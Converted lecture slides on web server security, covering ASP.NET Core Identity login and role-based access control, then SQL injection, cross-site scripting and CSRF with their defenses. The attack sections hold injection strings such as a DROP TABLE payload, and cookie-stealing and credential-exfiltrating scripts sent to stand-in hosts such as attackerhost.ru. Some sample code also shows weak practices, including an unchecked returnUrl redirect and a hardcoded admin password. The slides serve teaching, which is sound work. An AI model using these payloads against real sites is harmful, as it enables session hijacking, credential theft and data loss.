

Web Server Security

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Based in part on materials by
D. Boneh, J. Mitchell, S. Mitchell

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**AUTHENTICATION:
INTERNAL LOGIN**

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
Restricting Access

- Restrict access to registered users
- Restrict administrative access
- Web Forms: directory-based
 - /Admin/...
- MVC: action-based
 - Rich routing structure
 - [Authorize] for filtering

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
Browsing



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Browsing



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Authorized Actions

- Example:


```
[Authorize]
public class ImagesController {
    public ActionResult Approve(int ImageId)
    {
        ...
    }
}
```

- In Startup.cs:


```
public void Configure(IApplicationBuilder app) {
    ...
    app.UseAuthentication();
    ...
}
```

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Identity Classes

- Application User Model

```
using Microsoft.AspNetCore.Identity;
public class User { ... }
public class ApplicationUser : IdentityUser { ... }
```

- Database Context (in DAL)

```
using Microsoft.AspNetCore.Identity.EntityFrameworkCore;
public class ApplicationDbContext : DbContext { ... }
public class ApplicationDbContext :
    IdentityDbContext<ApplicationUser> {
    public ApplicationDbContext(
        DbContextOptions<ApplicationDbContext> options) :
        base(options) { }
}
```

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Example Login Action

```
[HttpPost]
public ActionResult Login(LoginModel model, string returnUrl) {

    if (!ModelState.IsValid) {
        return new View(model);
    }

    var user = new ApplicationUser { UserName = model.Email,
                                    Email = model.Email };


    var result =
        await SignInManager.PasswordSignInAsync(user,
                                                model.Password, ...);

    if (result.Succeeded) {
        return RedirectToAction(returnUrl);
    }
}
```

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Registration



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Example Registration Action

```
[HttpPost]
public async Task<ActionResult> Register(RegisterViewModel model) {
    if (ModelState.IsValid) {
        var user = new ApplicationUser { UserName = model.Email,
                                         Email = model.Email };
        var result = await UserManager.CreateAsync(user,
                                                   model.Password);
        if (result.Succeeded) {
            await SignInManager.SignInAsync(user, ...);
            return RedirectToAction("Index", "Home");
        }
        AddErrors(result);
    }

    // If we got this far, something failed, redisplay form
    return View(model);
}
```

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Configuration

- Set up access to database using EF Core

```
services.AddDbContext<ApplicationContext>
    (options => options.UseSqlServer(...));
}
```
- Add Services for ASP.NET Core Identity

```
services.AddIdentity< ApplicationUser, IdentityRole>()
    .AddEntityFrameworkStores< ApplicationContext >()
    .AddDefaultTokenProviders();
```
- Add ASP.NET Core Identity to request-handling pipeline

```
public void Configure(IApplicationBuilder app) {
    ... app.UseAuthentication(); ...
}
```

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Configuration

- Customize password requirements

```
services
    .AddIdentity< ApplicationUser, IdentityRole>
    (opts =>
        opts.Password.RequiredLength = 6;
        opts.Password.RequireNonAlphanumeric = false;
        opts.Password.RequireLowercase = false;
        opts.Password.RequireUppercase = false;
        opts.Password.RequireDigit = false;
    )
    .AddEntityFrameworkStores< ApplicationContext >()
    .AddDefaultTokenProviders();
```

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Configuration

- Default login path: `/Account/Login`

- Customize login path

```
services.ConfigureApplicationCookie(opts =>
    opts.LoginPath = "/Users/Login");
```

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Configuration

- Require authentication as default

```
services.AddMvc(options => {
    var policy =
        new AuthorizationPolicyBuilder()
            .RequireAuthenticatedUser()
            .Build();
    options.Filters.Add
        (new AuthorizeFilter(policy));
});
```

- Explicitly enable anonymous access

```
[AllowAnonymous][HttpPost]
public IActionResult Login(...) { ... }
```

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Configuration (Summary)

```
public class Startup {

    public void ConfigureServices(IServiceCollection services) {
        services.AddDbContext<ApplicationContext>(options =>
            options.UseSqlServer(...));
    }
    services.AddIdentity<ApplicationUser, IdentityRole>(...)
        .AddEntityFrameworkStores<ApplicationContext>()
        .AddDefaultTokenProviders();
    services.AddMvc(...);
}

public void Configure(IApplicationBuilder app) {
    ... app.UseAuthentication(); ...
}
}
```

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Controller

```
public AccountController: Controller {

    UserManager<ApplicationUser> userManager;
    SignInManager<ApplicationUser> signInManager;
    ApplicationDbContext db;

    // Dependency injection of DB context and managers
    public AccountController(
        UserManager<ApplicationUser> userManager,
        SignInManager< ApplicationUser > signInManager,
        ApplicationDbContext db) {
        this.userManager = userManager;
        this.signInManager = signInManager;
        this.db = db;
    }
}
```

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Account Management

- Registration

```
RegisterModel model;
var user = new ApplicationUser(model.Email, model.ADA);
var result = await userManager.CreateAsync(user,
    model.Password);
```

- Login

```
LoginModel model;
var user = await userManager.FindByNameAsync(model.UserName);
if (user != null) {
    var result = await signInManager.PasswordSignInAsync(user,
        model.Password, false, false);
    if (result.Succeeded) {
        return RedirectToAction("Index", "Home");
    } else {
        ModelState.AddModelError(string.Empty, "Login failed");
    }
}
```

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Account Management

- Redirect back to Web page after login

```
public async Task<IActionResult> Login(LoginModel model,
    string returnUrl) {
    var user = await userManager.FindByNameAsync(model.UserName);
    if (user != null) {
        var result = await signInManager.PasswordSignInAsync(user,
            model.Password, false, false);
        if (result.Succeeded) {
            return Redirect(returnUrl ?? "/");
        }
    }
}
```

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Account Management

- Redirect back to Web page after login

```
[HttpPost]
[AllowAnonymous]
public async Task<IActionResult> Login(LoginModel model,
                                         String returnUrl) {
    var user = await userManager.FindByNameAsync(model.UserName);
    if (user != null) {
        var result = await signInManager.PasswordSignInAsync(user,
                                                               model.Password, false, false);
        if (result.Succeeded) {
            return Redirect(returnUrl ?? "/");
        }
    }
}
```

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Account Management

- Allowing anonymous access

```
[Authorize]
public class AccountController : Controller {

    [HttpPost]
    [AllowAnonymous]
    [ValidateAntiForgeryToken]
    public async Task<IActionResult> Login(LoginModel model,
                                         String returnUrl)
    {
        ...
    }
}
```

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Changing Password

- Redirect back to Web page after login

```
LocalPasswordModel model;
 ApplicationUser user = await GetLoggedInUser();
 string resetToken = await userManager
     .GeneratePasswordResetTokenAsync(user);

 var idResult = userManager
     .ResetPasswordAsync(user, resetToken,
         model.NewPassword);
```

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Creating Database

- Install tool


```
dotnet tool install --global
```

- Create Initial Migration Class

```
dotnet ef migrations add Initial
 --context ApplicationDbContext
```

- Initialize the database

```
dotnet ef database update
 --context AppIdentityDbContext
```



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AUTHENTICATION: EXTERNAL LOGIN

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
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Internal vs External


- Internal:
 - User database part of app
 - **Active** middleware: redirects unauthorized requests
- External
 - External authority provider (e.g. Facebook)
 - **Passive** middleware: responds to app requests

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
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
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
Middleware: OWIN

- Open Web Interface for .NET
- Connecting apps to Web server
 - Decouple .NET from IIS
- Components register app delegates
 - Delegates chained in pipeline
 - Server pushes operations
 - Asynchronous for performance
- Katana: OWIN-based framework

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Framework Architecture



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OWIN Pipelines

Middleware 1

```
Invoke(IOwinContext con)
{
    DoINeedToAlterRequest?
    {
    }

    AllowSubsequentMiddleWares?
    {
        base.Next.Invoke(con);
    }

    NeedToAlterResponse?
    {
    }
}
```

Middleware 2

Middleware 3

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Data Flow

Host (IIS)

Application

ASP.NET Web API

(Microsoft.AspNet.WebApi.Owin)

Server


(Microsoft.Owin.Host.SystemWeb)

HTTP Request

HTTP Response


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ACCESS CONTROL

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Access Control

- What are authenticated users allowed to do?
- General abstraction: access matrix

	Password File	Joe's Calendar	Payroll File
Administrator	RW		
Joe		RW	
Jane		R	RW

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Access Control

- Access control lists

	Password File
Administrator	RW
Joe	
Jane	

	Joe's Calendar
Administrator	
Joe	RW
Jane	R

	Payroll File
Administrator	
Joe	
Jane	RW

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Access Control

- Role-based access control (RBAC)

	Roles
Sam	Administrator
Joe	Administrator, Accounts
Jane	Accounts

	Password File
Administrator	RW
	Joe's Calendar
Joe	RW
Accounts	R
	Payroll File
Accounts	RW

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Access Control in MVC

- Roles for RBAC

```
public class ImagesController {  
    [Authorize(Roles="Approver")]  
    public ActionResult Approve(int ImageId) {  
        ...  
    }  
  
    public class AccountController {  
        [Authorize(Roles="Administrator")]  
        public ActionResult EditUser(UserView user) {  
            ...  
        }  
    }  
}
```

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Customizing Identity

- Users modeled using EF Code First
- Customize with app-specific attributes
- Model class: `ApplicationUser`
in `/Models/IdentityModels.cs`:

```
public class ApplicationUser : IdentityUser {  
    public string Address { get; set }  
    public string TwitterHandle { get; set }  
}
```

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Persistence Control

- Customize EF e.g. database connection string
- Customizable store managers:
 - `UserStore`
 - `RoleStore`
- Ex: Store in Azure Tables or MongoDB
- <http://www.asp.net/identity/overview/extensibility/overview-of-custom-storage-providers-for-aspnet-identity>

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Managing Users and Roles

- Customizable user and role managers:
 - `UserManager`
 - `RoleManager`
- <http://azure.microsoft.com/en-us/documentation/articles/web-sites-dotnet-deploy-aspnet-mvc-app-membership-oauth-sql-database/>

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Creating User Entities

```
UserManager< ApplicationUser > um;

 ApplicationUser admin =
    new ApplicationUser { UserName = "admin" };

 IdentityResult identityResult =
    await um.CreateASync(admin, "admin1234");

 If (identityResult.Succeeded) {
    ...
}
```

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Creating and Assigning Roles

```
public class AccountController : Controller {
    protected RoleManager<IdentityRole> roleManager; ...

    public AccountController
        (RoleManager<IdentityRole> roleManager) {
            this.roleManager = roleManager;
            ...
    }

    ... await roleManager.createAsync(roleName) ...

    ... await userManager.AddToRoleAsync(user,
        model.RoleName);

}
```

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Initial Admin Account

```
public class ApplicationDbContextInitializer{  
  
    public static async Task CreateAdminAccount  
        (IServiceProvider provider,  
         IConfiguration configuration) {  
  
        UserManager<ApplicationUser> um = provider  
            .GetRequiredService  
                <UserManager<ApplicationUser>>();  
  
        RoleManager<IdentityRole> rm = provider  
            .GetRequiredService  
                <RoleManager<IdentityRole>>();  
  
    }  
}
```

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Initial Admin Account

```
public class ApplicationDbContextInitializer {  
  
    public static async Task CreateAdminAccount  
        (IServiceProvider provider,  
         IConfiguration configuration) {  
  
        ApplicationUser user = ...;  
        string password = configuration  
            ["Data:Admin:Password"];  
        var result = um.CreateAsync(user, password);  
  
        if (result.Succeeded) {  
            await rm.CreateAsync(new IdentityRole(role));  
            await um.AddToRoleAsync(user, role);  
        }  
    }  
}
```

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Initial Admin Account

- Calling initializer

```
public void Configure(IApplicationBuilder app) {  
    ...  
    app.UseAuthentication();  
    app.UseMvcWithDefaultRoute();  
  
    ApplicationDbContextInitializer  
        .CreateAdminAccount()  
        .Wait();  
}
```

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Initial Admin Account

- Must disable dependency injection scope validation

```
public class Program {  
  
    . public static void Main(string[] args) {  
        BuildWebHost(args).Run();  
    }  
  
    public static IWebHost  
        BuildWebHost(string[] args) {  
        return WebHost.CreateDefaultBuilder(args)  
            .UseStartup<Startup>()  
            .UseDefaultServiceProvider(opts =>  
                opts.ValidateScopes = false)  
            .Build();  
    }  
}
```

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COMBINING ASP.NET IDENTITY AND DOMAIN MODEL

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Models

```
public class User {  
    [Key] [DatabaseGenerated(DatabaseGeneratedOption.Identity)]  
    public virtual int Id { get; set; }  
    public virtual string UserName { get; set; }  
    public virtual ICollection<Image> Images { get; set; }  
}  
  
public class Image  
    [Key] [DatabaseGenerated(DatabaseGeneratedOption.Identity)]  
    public virtual int Id { get; set; }  
  
    [ForeignKey("User")]  
    public virtual int UserId { get; set; }  
    public virtual User User { get; set; }  
}
```

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Models

```
public class User {  
    [Key] [DatabaseGenerated(DatabaseGeneratedOption.Identity)]  
    public virtual int Id { get; set; }  
    public virtual string UserName { get; set; }  
    public virtual ICollection<Image> Images { get; set; }  
}  
  
public class Image  
    [Key] [DatabaseGenerated(DatabaseGeneratedOption.Identity)]  
    public virtual int Id { get; set; }  
  
    [ForeignKey("User")]  
    public virtual int UserId { get; set; }  
    public virtual User User { get; set; }  
}  
  
public class ApplicationUser : IdentityUser {  
}
```

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Models

```
public class ApplicationUser : IdentityUser {  
    // public virtual int Id { get; set; }  
    // public virtual string UserName { get; set; }  
    public virtual ICollection<Image> Images { get; set; }  
}  
  
public class Image  
    [Key]  
    [DatabaseGenerated(DatabaseGeneratedOption.Identity)]  
    public virtual int Id { get; set; }  
  
    [ForeignKey("User")]  
    public virtual string UserId { get; set; }  
    public virtual ApplicationUser User { get; set; }  
}
```

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DAL

```
public class ApplicationDbContext : DbContext {
    public DbSet<User> Users { get; set; }
    public DbSet<Image> Images { get; set; }
    public DbSet<Tag> Tags { get; set; }

    public ApplicationDbContext() : base() { }
}

public class ApplicationDbContext :
    IdentityDbContext<ApplicationUser> {

    public ApplicationDbContext
        (DbContextOptions<ApplicationDbContext> options)
        : base(options) {
    }
}
```

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DAL

```
public class ApplicationDbContext :
    IdentityDbContext<ApplicationUser> {
    // public DbSet<User> Users { get; set; }
    public DbSet<Image> Images { get; set; }
    public DbSet<Tag> Tags { get; set; }

    public ApplicationDbContext
        (DbContextOptions<ApplicationDbContext>
            options)
        : base(options)
    }
}
```

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DAL

```
public class ApplicationDbContext :  
    IdentityDbContext<ApplicationUser> {  
    // public DbSet<User> Users { get; set; }  
    public DbSet<Image> Images { get; set; }  
    public DbSet<Tag> Tags { get; set; }  
  
    protected override void OnModelCreating  
        (DbModelBuilder modelBuilder) {  
        base.OnModelCreating(modelBuilder);  
  
        //This will singularize all table names  
        foreach (IMutableEntityType entityType  
            in builder.Model.GetEntityTypes()) {  
            entityType.Relational().TableName =  
                entityType.DisplayName();  
        }  
    }  
}
```

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Base Controller

- Define for every controller:

```
protected ApplicationDbContext db { get; set; }  
  
protected UserManager<ApplicationUser> userManager  
{ get; set; }  
  
protected BaseController(UserManager<...> um,  
                      ApplicationDbContext db) {  
  
    this.db = db;  
  
    this.userManager = userManager;  
}
```

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Current User

- Using cookies

```
protected String GetLoggedInUser() {  
    return Request.Cookies["Username"];  
}
```

- Using Identity

```
using Microsoft.AspNet.Identity;  
  
protected async ApplicationUser GetLoggedInUser() {  
    return await userManager  
        .FindByName(HttpContext.User.Identity.Name);  
}
```

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User Select List

- Without Identity

```
protected SelectList UserSelectList() {  
    return new SelectList(ActiveUsers(),  
        "Id",  
        "UserName",  
        1);  
}
```

- Using Identity

```
protected SelectList UserSelectList() {  
    String defaultId = GetLoggedInUser().Id;  
    return new SelectList(ActiveUsers(),  
        "Id",  
        "UserName",  
        defaultId);  
}
```

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Web Server Security II

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Based in part on materials by

D. Boneh, J. Mitchell, S. Mitchell

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
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SECURITY VULNERABILITIES: SQL INJECTION

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Basic picture: SQL Injection



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CardSystems Attack



- CardSystems
 - credit card payment processing company
 - SQL injection attack in June 2005
 - put out of business
- The Attack
 - 263,000 credit card #s stolen from database
 - credit card #s stored unencrypted
 - 43 million credit card #s exposed

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April 2008 SQL Vulnerabilities

The screenshot shows a blog post titled "Hundreds of Thousands of Microsoft Web Servers Hacked". The post discusses a security vulnerability in Microsoft's Internet Information Services (IIS) that allows attackers to exploit security flaws in Microsoft Windows to install malicious software on visitors' machines. It links to a Microsoft blog entry and a SANS Internet Storm Center writeup.

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SQL Injection Example

Login:
Password:

- ```
String query = "SELECT * FROM users
 WHERE login = " + login +
 " AND password = " + password + ";"
```
- Expected input:  

```
SELECT * FROM users
 WHERE login = 'John'
 AND password = 'John1234'
```
- Result: Returns John's user information

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## SQL Injection Example

Login: ' OR '1' = '1  
Password: ' OR '1' = '1

- String query = "SELECT \* FROM users WHERE login = " + login + " AND password = " + password + ";"
- Input:  
`SELECT * FROM users  
WHERE login = ' OR '1'='1'  
AND password = ' OR '1'='1'`
- Result: ?

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## SQL Injection Example

Login: ' OR '1' = '1  
Password: ' OR '1' = '1

- String query = "SELECT \* FROM users WHERE login = " + login + " AND password = " + password + ";"
- Input:  
`SELECT * FROM users  
WHERE login = ' OR TRUE  
AND password = ' OR TRUE`
- Result: ?

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## SQL Injection Example

Login: ' OR '1' = '1  
Password: ' OR '1' = '1


- String query = "SELECT \* FROM users  
WHERE login = " + login +  
" AND password = " + password + ";"
- Input:  
`SELECT * FROM users  
WHERE TRUE  
AND TRUE`
- Result: Returns all user information in the users table

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## SQL Injection Example

**Unvalidated Input  
allows SQL Injection**



The screenshot shows a web page titled "Investments". At the top, there are links for "Feedback" and "Customer Care". Below the title, there's a section for "Account Transactions" with a "Date range (yyyy-mm-dd)" input field containing "2006-01-01" and another field next to it containing "2006-06-28". A blue button labeled "Get Statement" is to the right. Below these inputs, a table displays transaction history:

| # | Date              | Account Description |
|---|-------------------|---------------------|
| 1 | 2006-174<br>05-31 | A/C Opening Fees    |
| 2 | 2006-174<br>05-31 | TRF to 189          |
| 3 | 2006-174<br>05-31 | TRF to 196          |
| 4 | 2006-174<br>05-31 | TRF to 196          |

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## SQL Injection Example

Account Transactions

Date range (yyyy-mm-dd)  To  Get Statement



- String query= "SELECT \* FROM accounts  
WHERE username = " + strUserName + ",  
AND trandate >= " + strSDate + ",  
AND trandate <= " + strEDate + ";";
- Expected input:  
`SELECT * FROM users  
WHERE username = 'John'  
AND trandate >= '2005-01-01'  
AND trandate <= '2006-06-28'`
- Result: Returns John's transactions between given dates

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## SQL Injection Example

Transactions

(yyyy-mm-dd)  To  Get Statement



Welcome to Kelev Investments

Feedback

Account Transactions

Date range (yyyy-mm-dd)  To  Get Statement

| # | Date        | Account No. | Description                               |
|---|-------------|-------------|-------------------------------------------|
| 1 | 2004- 03-31 | 325634      | DEPOSITS                                  |
| 2 | 2004- 04-11 | 325634      | ATM Cashwdl, Seq:0365                     |
| 3 | 2004- 04-30 | 325634      | TRF FRM ABC Company                       |
| 4 | 2004- 05-05 | 325634      | TRF TO Credit Card No:8765 2345 1423 7060 |
| 5 | 2004- 05-27 | 325634      | ATM Cashwdl, Seq:0583                     |
| 6 | 2004- 05-27 | 974563      | TRF TO Credit Card No:8765 2345 1423 1111 |



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## SQL Injection Example

- String query= "SELECT \* FROM accounts  
WHERE username = " + strUserName + ",  
AND trandate >= " + strSDate + ",  
AND trandate <= " + strEDate + ";";
- Input:  
`SELECT * FROM users  
WHERE username = 'John'  
AND trandate >= ' OR 1=1--'  
AND trandate <= ' OR 1=1--'`  
"—" signals a comment...
- Result: ?

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## SQL Injection Example

- String query= "SELECT \* FROM accounts  
WHERE username = " + strUserName + ",  
AND trandate >= " + strSDate + ",  
AND trandate <= " + strEDate + ";";
- Input:  
`SELECT * FROM users  
WHERE username = 'John'  
AND trandate >= ' OR 1=1  
AND trandate <= ' OR 1=1`
- Result: ?

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## SQL Injection Example

Account Transactions

Date range (yyyy-mm-dd)  To  Get Statement

- String query= "SELECT \* FROM accounts  
WHERE username = " + strUserName + ",  
AND trandate >= " + strSDate + ",  
AND trandate <= " + strEDate + ";"
- Input:  
`SELECT * FROM users  
WHERE username = 'John'  
AND trandate >= ' OR TRUE  
AND trandate <= ' OR TRUE`
- Result: Returns all saved transactions

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
75

## SQL Injection

- Another example:  
`String query =  
"SELECT prodinfo FROM prodtable  
WHERE prodname = " + input + ","`
- Actual input:  
`blah'; DROP TABLE prodtable; --`
- Resulting query:  
`SELECT prodinfo FROM prodtable  
WHERE prodname = 'blah';  
DROP TABLE prodtable;`

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## Preventing SQL Injection

- Never build SQL commands yourself !
  - Use parameterized/prepared SQL
  - Use ORM framework
    - ADO.NET Entity Framework
    - Java Hibernate
    - Java Persistence Architecture (JPA)

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## Parameterized/Prepared SQL

- Build SQL queries by properly escaping args: ' → \'
- Ex: ADO.NET

```
SqlCommand cmd = new SqlCommand(
 "SELECT * FROM UserTable WHERE
 username = @User AND
 password = @Pwd", dbConnection);

cmd.Parameters.AddWithValue("@User", Request["user"]);
cmd.Parameters.AddWithValue("@Pwd", Request["pwd"]);

cmd.ExecuteReader();
```

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## SECURITY VULNERABILITIES: CROSS SITE SCRIPTING (XSS)

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
## Cross Site Scripting (XSS)

- Malicious input to Web app
- Reflected XSS
  - Embedded in a Web page
- Stored XSS
  - Stored to a database
- DOM based XSS
  - Web content generated by client side code

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## Reflected XSS




82

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## Reflected XSS

```
test.jsp - Notepad
File Edit Format Help
<% out.println("welcome " + request.getParameter("name")); %>
```

http://myserver.com/test.jsp?name=Stefan



```
<HTML>
<BODY>
Welcome Stefan
</BODY>
</HTML>
```

http://myserver.com/test.jsp?name=<script>alert("Attacked")</script>




```
<HTML>
<BODY>
Welcome
<script>alert("Attacked")</script>
</BODY>
</HTML>
```

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
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## Reflected XSS



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## Stored XSS

The screenshot shows a user interface for an "Online Application" with the following fields:

- Personal Information** section:
  - \* First Name: Joe
  - Middle Initial: P
  - \* Last Name: Hacker
  - \* Social Security Number: 555-55-5555
  - \* Birth Date: 1985-11-11
  - \* Mother's Maiden Name: Foo
  - \* Address: `<script>alert(document.cookie)</script>` (This field is highlighted with a red oval and labeled "Unvalidated Input (XSS)".)
  - Appartment/Rom Number: 123
  - \* City: Hackville
  - \* State: (Please Select State)
  - \* Zip Code: 90210
  - Telephone Number: 555-555-5555
  - \* Email: foo@foo.com
  - Occupation: Criminal
  - Annual Income: 1500000

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## Stored XSS

The screenshot shows a web page from 'Kelev Investments' with a sidebar on the left containing links like Home, Loans, Net Banking, Credit Cards, Contact Us, Bills Online, Online Trading, and Register. The main content area has a heading 'Dear Joe,' followed by a message: 'Thank you. Your loan request has been registered. Please save the following confirmation number for your records. C1005658293'. Below this, it says 'A loan officer will contact you within the next 48 hours. For further assistance you can reach us at 1-800-GET-LOAN.' A red box highlights this message. A red arrow points from the text 'Malformed Loan Request was successfully processed.' to the highlighted message.

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## Stored XSS

The screenshot shows a Microsoft Internet Explorer window displaying a 'Pending loan requests' table. The table has columns for #, Request ID, Requestor, Category, and L. It lists five entries: 1. John McCafferty (Home), 2. Peter Lucas (Home), 3. Remmy Martin (Car), 4. Robert Markman (Personal), and 5. Joe Hacker (Home). An orange arrow points from the text 'Attacker's Loan Request' to the row for 'Joe Hacker'. Another red arrow points from the text 'Cookie stealing' to a warning dialog box titled 'Microsoft Internet Explorer' with the message 'PHPSESSID=4b1ff0cf3e0c2289d54ef45fb37fa4'. A red circle highlights the session ID in the dialog.

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
## Stored XSS

```
<SCRIPT>
var WH = window.open("", "",
 "width=275,
 height=175,
 top=200,
 left=250,
 location=no,
 menubar=no,
 status=no,
 toolbar=no,
 scrollbars=no,
 resizable=no");
WH.document.write("...
 HTML FORM with POST request to
 http://attackerhost.ru/h4xor.php
 ...");</SCRIPT>
```

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## Stored XSS



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## Stored XSS

The screenshot shows a forum post titled "DIY: Plants & Garden: Did you put your potted plants outside yet?". The post has two comments from user "ladymc". The first comment contains the following text:

```
I forgot mine outside and they look a little "funny". I wonder if the night chills we've had the past 2 weeks killed them?
```

The second comment contains the following text:

```
What I put outside were pots with tomato, cucumbers and some herbs....hope they didn't die :(
```

Below the comments, there is a comment input field with the following content:

```
I'm waiting for it to get warmer.
<SCRIPT>
document.location= 'http://attackerhost.ru/cgi-bin/cookiesteal.cgi?'+document.cookie
</SCRIPT>
```

At the bottom of the input field, there is a "big input" button. Below the input field, there are options to "Format comments as" (Text, HTML, Markdown, BBCode) and a "Check spelling" button.

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## DOM Based XSS

- Example:

```
<HTML>
<TITLE>Welcome!</TITLE>
Hi <SCRIPT>
 var pos=document.URL.indexOf("name=")+5;
 document.write
 (document.URL.substring(pos,
 document.URL.length));
</SCRIPT>
<p>Welcome to our system ...
</HTML>
```

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## DOM Based XSS

- Example:

```
<HTML>
<TITLE>Welcome!</TITLE>
Hi <SCRIPT>
 var pos=document.URL.indexOf("name=")+5;
 document.write
 (document.URL.substring(pos,
 document.URL.length));
</SCRIPT>
<p>Welcome to our system ...
</HTML>
```

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## DOM Based XSS

- Example:

```
<HTML>
http://www.vulnerable.example/welcome.html?name=Joe
<TITLE>Welcome!</TITLE>
Hi <SCRIPT>
 var pos=document.URL.indexOf("name=")+5;
 document.write
 (document.URL.substring(pos,
 document.URL.length));
</SCRIPT>
<p>Hi Joe
<p>Welcome to our system
</HTML>
```

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## DOM Based XSS

- Example:

```
<HTML>
http://www.vulnerable.example/welcome.html?name=
<script>
document.location=
 'http://attackerhost.ru/cgi-bin/cookiesteal.cgi?'
 +document.cookie
</script>
 document.URL.length));
</ Hi
<p>Welcome to our system
</
```

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
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## XSS DEFENSES

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## Defenses at Server



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## How to Protect Yourself (OWASP)

- Validate all parameters
  - headers
  - cookies,
  - query strings
  - form fields
  - hidden fields (i.e., all parameters)
  - Requires rigorous specification

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## How to Protect Yourself (OWASP)

- Do not attempt to identify active content
  - Too many types
  - Too many ways of encoding to get around filters
- ‘Positive’ security policy
  - What is allowed
  - Attack signature based policies are incomplete

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## Input data validation and filtering

- Never trust client-side data
  - Best: allow only what you expect
- Remove/encode special characters
  - Many encodings, special chars!
  - E.g., long (non-standard) UTF-8 encodings

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## Output filtering / encoding

- HTML encoding
  - HTML helpers, HTML.Encode, <%:...%>
  - &lt; for <, &gt; for >, &quot for " ...
  - Default for Razor rendering
- Allow only safe commands (no <script>...)
- Caution: `filter evasion` tricks
  - E.g. <script src=" ..." → src="..."  
but <scr<scriptipt src="..." →  
<script src="..."

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## Limitations of HTML Encoding

```
<script type="text/javascript">
 $(function () {
 var mesg = 'Hello, @ViewBag.Name';
 $("#message").html(mesg).show('slow');
 });
</script>
```

Input User Name:

\x3cscript\x3e%20alert(\x27wnd\x27)%20\x3c/script\x3e

i.e. <script> alert('wnd') </script>

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## JavaScript Encoding

```
<script type="text/javascript">
 $(function () {
 var mesg =
'Hello, @Ajax.JavaScriptStringEncode(ViewBag.Name)';
 $("#message").html(message).show('slow');
 });
</script>
```

Input User Name:

\x3cscript\x3e%20alert(\x27wnd\x27)%20\x3c/script\x3e

i.e. <script> alert('wnd') </script>

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## Caution: Scripts not only in <script>!

- JavaScript as scheme in URI

```

```

- Script in event handlers

```

```

```
<iframe src="https://bank.com/login"
onLoad="steal()">
```

```
<form action="logon.jsp" method="post"
onSubmit="hackImg=new Image;
hackImg.src='http://www.digicrime.com/'
+document.forms(1).login.value+':'
+document.forms(1).password.value;">
```

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## Encoding Attributes & URLs

- `Html.AttributeEncode`:

```
<a href="@Url.Action("Index", "Home",
 new {name=Html.AttributeEncode
 (ViewBag.name)})">
Click here.
```

- `Url.Encode`:

```
<a href="@Url.Encode(Url.Action("Index", "Home",
 new {name=ViewBag.name}))">
Click here.
```

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## AntiXSS Library

- Library for sanitizing content
  - Whitelist of allowed characters
  - Focus on preventing vulnerabilities (ASP.NET encoding: display problems)
- Install as encoding engine
  - Nuget: Install-Package AntiXSS
  - `Html.Encode` or `<%:...%>`

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## HttpOnly Cookies



- Cookie not accessible to scripts (`document.cookie`)
  - ASP.NET MVC: `[HttpOnly]` attribute
  - Prevent cookie theft via XSS
- ... but does not stop most other risks of XSS bugs

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## Points to remember

- Key concepts
  - Whitelisting vs. blacklisting
  - Output encoding vs. input sanitization
  - Sanitizing before or after storing in database
  - Dynamic versus static defense techniques

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## Points to remember

- Good ideas
  - Static analysis (e.g. ASP.NET)
  - Taint tracking
  - Framework support
  - Continuous testing
- Bad ideas
  - Blacklisting
  - Manual sanitization

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
109

## **SECURITY VULNERABILITIES: CROSS-SITE REQUEST FORGERY (CSRF)**

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
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## Recall: session using cookies



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## Cross Site Request Forgery (CSRF)



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## Cross Site Request Forgery (CSRF)

- Example:

- User logs in to bank.com
- User visits another site containing:

```
<form name=F action=http://bank.com/BillPay.php>
<input name=recipient value=badguy> ...
<script> document.F.submit(); </script>
```

- Browser sends bank.com auth cookie with request


- Problem:

- cookie auth is insufficient when side effects occur

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## Form post with cookie



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## CSRF DEFENSES

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## CSRF Defenses

- Secret Validation Token



```
<input type=hidden value=23a3af01b>
```

- Custom HTTP Header



```
X-CSRFToken: 74234abc8990bd87
```

- Referer Validation



```
Referer: http://www.facebook.com/home.php
```

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## Secret Token Validation



- Requests include a hard-to-guess secret
  - Unguessability substitutes for unforgeability
- Variations
  - Session identifier
  - Session-independent token
  - Session-dependent token
  - HMAC of session identifier

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## Secret Token Validation

A screenshot of a web browser window titled "slicehost" showing the URL <https://manage.slicehost.com/slices/new>. The window has tabs for "Slices", "DNS", "Help", and "Account". The main content area is titled "Add a Slice" and "Slice Size". It lists various slice options with their prices and specifications. Below the slice size list is a "System Image" dropdown set to "Ubuntu 8.04.1 LTS (hardy)". A "Slice Name" input field is empty. At the bottom is an "Add Slice" button and a "cancel" link. A note at the bottom states: "NOTE: You will be charged a prorated amount based upon the number of days remaining in your billing cycle." A red circle highlights the "authenticity\_token" field, which is a hidden input element with the value "0114d5b35744b522af8643921bd5a3d899e7fb2".

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## Custom Header Defense

- Token: Must remember to put in POST data
- Issue POST requests via AJAX:

X-Requested-With: XMLHttpRequest

- XMLHttpRequest: *same-origin* AJAX requests
  - Request site same as origin of script
  - XHR2: whitelist for cross-site requests
  - Make an exception? No!
- Alternative: Set token in custom header
  - setRequestHeader: e.g. X-CSRFToken

X-CSRFToken: 74234abc8990bd87

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## Token Validation in MVC

- Add token to forms

```
<form action="/account/register" method="post">
<form asp-action="..." asp-controller="...">
 method="post">
 ...
</form>
```

- Hidden input:

```
<input type="hidden" value="899asdfjasdfuebd"/>
```

- Action filter for form processing:

```
[ValidateAntiForgeryToken]
public ActionResult Register (...) { ... }
```

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## Referer Validation

### Facebook Login

For your security, never enter your Facebook password on sites not located on Facebook.com.

Email:

Password:

Remember me

[Login](#) or [Sign up for Facebook](#)

[Forgot your password?](#)

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## Referer Validation Defense

- HTTP Referer header
  - Referer: `http://www.facebook.com/` ✓
  - Referer: `http://www.attacker.com/evil.html` ✗
  - Referer: ?
- Lenient Referer validation
  - Doesn't work if Referer is missing
  - Referer: `ftp://www.attacker.com/evil.html` ?
- Strict Referer validation
  - Secure, but Referer is sometimes absent...

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
## Referer Privacy Problems

- Referer may leak privacy-sensitive information  
`http://intranet.corp.apple.com/projects/iphone/competitors.html`
- Common sources of blocking:
  - Network stripping by the organization
  - Network stripping by local machine
  - Stripped by browser for HTTPS → HTTP transitions
  - User preference in browser
  - Buggy user agents
- Site cannot afford to block these users

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## Suppression over HTTPS is low



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## Http Referer Validation in MVC

- Define an action filter:

```
public class IsPostedFromThisSiteAttribute :
 AuthorizeAttribute {
 public override void OnAuthorize
 (AuthorizationContext filterContext) {
 if (filterContext.HttpContext != null) {
 if (filterContext.HttpContext.Request.UrlReferrer == null)
 throw new System.Web.HttpException("Invalid submission");
 if (filterContext.HttpContext.Request.UrlReferrer.Host !=
 "mysite.com")
 throw new System.Web.HttpException
 ("This form wasn't submitted from this site!");
 } }
 }
```
- Annotate a method vulnerable to CSRF:  
`[IsPostedFromThisSite]  
Public ActionResult Register(...) {...}`

